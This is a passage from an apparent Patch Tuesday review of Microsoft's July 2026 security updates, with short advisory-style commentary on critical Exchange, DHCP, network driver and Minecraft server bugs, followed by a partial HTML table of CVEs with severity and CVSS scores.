href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
